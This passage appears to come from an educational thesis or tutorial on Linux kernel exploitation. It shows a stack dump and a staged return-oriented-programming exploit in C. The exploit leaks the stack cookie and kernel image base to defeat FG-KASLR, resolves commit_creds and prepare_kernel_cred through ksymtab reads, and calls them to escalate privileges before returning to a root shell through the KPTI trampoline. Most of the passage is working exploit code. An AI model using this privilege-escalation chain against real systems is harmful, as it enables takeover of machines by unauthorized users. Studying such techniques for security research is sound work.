0xffffbba801c7ed8|+0x00d0: 0xffffbba801c7f20 -> 0xffffb
b8a801c7f30 -> 0xffffbba801c7f48 -> 0x0000000000000000
-> 0x0000000000000000
0xffffbba801c7ee0|+0x00d8: 0xffffffffffa01122c7 -> 0x558b4
8aa78c08548 -> 0x558b48aa78c08548
0xffffbba801c7ee8|+0x00e0: 0xffffffffffa02c3d51 -> 0x00012
6850f40e780 -> 0x000126850f40e780
0xffffbba801c7ef0|+0x00e8: 0x0000000000000000 -> 0x000000
0000000000000000 -> $r14
0xffffbba801c7ef8|+0x00f0: 0x5aaad6fefd758100 -> 0x5aaad
6fefd758100
0xffffbba801c7f00|+0x00f8: 0xffffbba801c7f58 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7f08|+0x0100: 0x0000000000000000 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7f10|+0x0108: 0x0000000000000000 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7f18|+0x0110: 0x0000000000000000 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7f20|+0x0118: 0xffffbba801c7f30 -> 0xffffb
b8a801c7f48 -> 0x0000000000000000 -> 0x0000000000000000
0xffffbba801c7f28|+0x0120: 0xffffffffffa0478da -> 0x1f0fc
cccccc35d -> 0x1f0fccccccc35d
0xffffbba801c7f30|+0x0128: 0xffffbba801c7f48 -> 0x000000
0000000000000000 -> 0x0000000000000000
0xffffbba801c7f38|+0x0130: 0xffffffffffa0c0a157 -> 0xe8df0
94850438948 -> 0xe8df894850438948
0xffffbba801c7f40|+0x0138: 0x0000000000000000 -> 0x000000
0000000000000000 -> 0x0000000000000000

```

Figure 6.1: Find address in the stack in no randomize region

the stack when reading the module, look at a large amount of data and find an address located in the `_text` region. Reading 320 bytes, we find at 304th byte an address that falls in the region of `_text`. From that value, we subtract the address of `_text` and find the base image. From there we calculate the various offsets with the functions not affected by FG.KASLR:

```

void leak(void){
    unsigned n = 40;
    unsigned long leak[n];
    ssize_t r = read(global_fd, leak, sizeof(leak));
    cookie = leak[16];
    image_base = leak[38] - 0xa157ULL;
    kpti_trampoline = image_base + 0x200f10UL + 22UL;
    pop_rax_ret = image_base + 0x4d11UL;
    read_mem_pop1_ret = image_base + 0x4aaeUL;
    pop_rdi_rbp_ret = image_base + 0x38a0UL;
    ksyntab_prepare_kernel_cred = image_base + 0xf8d4fcUL;
    ksyntab_commit_creds = image_base + 0xf87d90UL;
    .....
}

```

```
}
```

From here on we have 4 stages:

1. Leaking `commit_creds()`;
2. Leaking `prepare_kernel_cred()`;
3. Calling `prepare_kernel_cred(0)`;
4. Calling `commit_creds()` and opening root shell;

6.6.2 Leaking `commit_creds` and `prepare_kernel_cred()`

The goal is to leak `commit_creds()` and read the `value_offset` of `ksymtab_commit_creds`, then add them together. We will use our 2 memory reading gadgets to read it, using the ROP technique introduced in Section 6.4, and safely return to the user-land via the KPTI trampoline to prepare for the next step.

```
void stage_1(void){
    unsigned n = 50;
    unsigned long payload[n];
    unsigned off = 16;
    payload[off++] = cookie;
    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rax_ret; // return address
    payload[off++] = ksymtab_commit_creds - 0x10; // rax <-
        __ksymtabs_commit_creds - 0x10
    payload[off++] = read_mem_pop1_ret; // rax <- [__ksymtabs_commit_creds]
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; //
        swaps_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_commit_creds;
    ....
}

void get_commit_creds(void){
    __asm__(
        ".intel_syntax noprefix;"
```

```

        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    commit_creds = ksymtab_commit_creds + (int)tmp_store;
    printf("    --> commit_creds: %lx\n", commit_creds);
    stage_2();
}

```

Second stage is exactly the same as stage 1:

```

void stage_2(void){
    ...
    //the same as 1 stage
    ...
    payload[off++] = ksymtab_prepare_kernel_cred - 0x10; // rax <-
        __ksymtabs_prepare_kernel_cred - 0x10
    payload[off++] = read_mem_pop1_ret; // rax <-
        [__ksymtabs_prepare_kernel_cred]
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; //
        swaps_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_prepare_kernel_cred;
    ....
}

void get_prepare_kernel_cred(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp_store;
    printf("    --> prepare_kernel_cred: %lx\n", prepare_kernel_cred);
    stage_3();
}

```

6.6.3 Calling `commit_creds(prepare_kernel_cred(0))`

Since the number of gadgets is limited, it was impossible to find a ROP chain calling `commit_creds(prepare_kernel_cred(0))`. The only solution is to divide the chain into two parts:

- Call `prepare_kernel_cred (0)` function saving the return value in *rax*.
- Call `commit_creds ()` function using the value we have in *rax*.

This way we bypass a fairly difficult part of the ROP chain, move the value received from `prepare_kernel_cred(0)` from *rax* to *rdi* and pass it to the `commit_creds()` function.

```
void stage_3(void){
    ...
    //As stage 1
    ...
    payload[off++] = pop_rdi_rbp_ret; // return address
    payload[off++] = 0; // rdi <- 0
    payload[off++] = 0; // dummy rbp
    payload[off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    payload[off++] = kpti_trampoline; //
        swaps_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)after_prepare_kernel_cred;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;
    ...
}

void after_prepare_kernel_cred(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp_store, rax;"
        ".att_syntax;"
    );
    returned_creds_struct = tmp_store;
    printf("    --> returned_creds_struct: %lx\n", returned_creds_struct);
    stage_4();
}
```



```

void stage_4(void){
    ...
    //As stage 3
    ...
    payload[off++] = returned_creds_struct; // rdi <- returned_creds_struct
    payload[off++] = 0; // dummy rbp
    payload[off++] = commit_creds; // commit_creds(returned_creds_struct)
    payload[off++] = kpti_trampoline; //
        swaps_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_shell;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

    puts("[*] Prepared payload to call commit_creds(returned_creds_struct)");
    ssize_t w = write(global_fd, payload, sizeof(payload));
}

```

Chapter 7

Kernel exploitation - CVE-2017-5123

Chapter 8

Conclusion

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